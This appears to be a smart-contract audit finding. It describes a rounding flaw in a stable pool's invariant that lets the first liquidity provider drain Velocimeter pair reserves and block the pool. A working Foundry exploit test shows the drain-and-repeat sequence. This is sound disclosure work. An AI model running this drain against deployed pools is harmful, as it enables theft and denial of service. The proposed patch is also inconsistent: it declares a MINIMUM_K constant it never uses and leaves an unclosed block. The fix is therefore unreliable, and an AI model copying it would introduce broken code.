Fast Black Eel

High

# First liquidity provider of a stable pair can DOS the pool

## Summary
The first liquidity provider can DOS the pair by: 1.mint a small amount of liquidity to the pool, 2. Steal whatever is
left in the pool, 3. Repeat step 1, and step 2 until the overflow of the total supply and dos the pool.

## Vulnerability Detail
The invariant k of a stable pool is calculated as follow `Pair.sol#L403`
```solidity
function _k(uint x, uint y) internal view returns (uint) {
        if (stable) {
            uint _x = x * 1e18 / decimals0;
            uint _y = y * 1e18 / decimals1;
            uint _a = (_x * _y) / 1e18;
            uint _b = ((_x * _x) / 1e18 + (_y * _y) / 1e18);
            return _a * _b / 1e18;  // x3y+y3x >= k
        } else {
            return x * y; // xy >= k
        }
    }
```
The value of `_a = (x * y ) / 1e18 = 0` due to rounding error when `x*y < 1e18`. The rounding error can lead to
the invariant `k` of stable pools equals zero, and the trader can steal whatever is left in the pool.
The first liquidity provider can DOS the pair by: 
1.mint a small amount of liquidity to the pool
2. Steal whatever is left in the pool
3. Repeat step 1, and step 2 until the overflow of the total supply.

To prevent the issue of rounding error, the reserve of a pool should never go too small. The mint function which was
borrowed from uniswapV2 has a minimum liquidity check of `sqrt(a * b) > MINIMUM_LIQUIDITY;` This, however,
isn't safe enough to protect the invariant formula of stable pools

## POC
Add the test to `OptionTokenV4.t.sol` and run with `forge test --mt testDestroyPair  -vvvv`
```solidity
function drainPair(Pair pair, uint initialFraxAmount, uint initialDaiAmount) internal {
        DAI.mint(address(pair), 1);
        uint amount0;
        uint amount1;
        if (address(DAI) < address(FRAX)) {
            amount0 = 0;
            amount1 = initialFraxAmount - 1;
        } else {
            amount1 = 0;
            amount0 = initialFraxAmount - 1;
        }
        pair.swap(amount0, amount1, address(this), new bytes(0));
        FRAX.mint(address(pair), 1);
        if (address(DAI) < address(FRAX)) {
            amount0 = initialDaiAmount; // initialDaiAmount + 1 - 1
            amount1 = 0;
        } else {
            amount1 = initialDaiAmount; // initialDaiAmount + 1 - 1
            amount0 = 0;
        }
        pair.swap(amount0, amount1, address(this), new bytes(0));
}
    function testDestroyPair() public {
        Pair pairFraxDai;
        vm.startPrank(address(owner),address(owner));
        deployCoins();
        address addressFromfactory = factory.createPair(address(FRAX), address(DAI), true);
        pairFraxDai = Pair(addressFromfactory);
        vm.stopPrank();

        for(uint i = 0; i < 10; i++) {
            DAI.mint(address(pairFraxDai), 10_000_000);
            FRAX.mint(address(pairFraxDai), 10_000_000);
            // as long as 10_000_000^2 < 1e18
            uint liquidity = pairFraxDai.mint(address(this));
            console.log("pair:", address(pairFraxDai), "liquidity:", liquidity);
            console.log("total liq:", pairFraxDai.balanceOf(address(this)));
            drainPair(pairFraxDai, FRAX.balanceOf(address(pairFraxDai)) , DAI.balanceOf(address(pairFraxDai)));
            console.log("DAI balance:", DAI.balanceOf(address(pairFraxDai)));
            console.log("FRAX balance:", FRAX.balanceOf(address(pairFraxDai)));
            require(DAI.balanceOf(address(pairFraxDai)) == 1, "should drain DAI balance");
            require(FRAX.balanceOf(address(pairFraxDai)) == 2, "should drain FRAX balance");
        }
        DAI.mint(address(pairFraxDai), 1 ether);
        FRAX.mint(address(pairFraxDai), 1 ether);
        vm.expectRevert();
        pairFraxDai.mint(address(this));
    }
```
## Impact
* The stable pair pool can be dos by first liquidity provider
## Code Snippet
https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/Pair.sol#L250-L269
## Tool used

Manual Review

## Recommendation
Recommend to add  restrictions on the first lp of stable pools:
* Invariant _k should be larger than the `MINIMUM_K` where `MINIMUM_K = 10**10`

In `Pair.sol`
```diff
+ uint256 internal constant MINIMUM_K = 10**10;
function mint(address to) external lock returns (uint liquidity) {
        (uint _reserve0, uint _reserve1) = (reserve0, reserve1);
        uint _balance0 = IERC20(token0).balanceOf(address(this));
        uint _balance1 = IERC20(token1).balanceOf(address(this));
        uint _amount0 = _balance0 - _reserve0;
        uint _amount1 = _balance1 - _reserve1;

        uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
        if (_totalSupply == 0) {
            liquidity = Math.sqrt(_amount0 * _amount1) - MINIMUM_LIQUIDITY;
            _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
+            if (stable) {
+                require(
+                   (_amount0 * 1e18) / decimals0 == (_amount1 * 1e18) / decimals1,
+                    "Pair: stable deposits must be equal"
+               );
              
        } else {
            liquidity = Math.min(_amount0 * _totalSupply / _reserve0, _amount1 * _totalSupply / _reserve1);
        }
        require(liquidity > 0, 'ILM'); // Pair: INSUFFICIENT_LIQUIDITY_MINTED
        _mint(to, liquidity);

        _update(_balance0, _balance1, _reserve0, _reserve1);
        emit Mint(msg.sender, _amount0, _amount1);
    }
```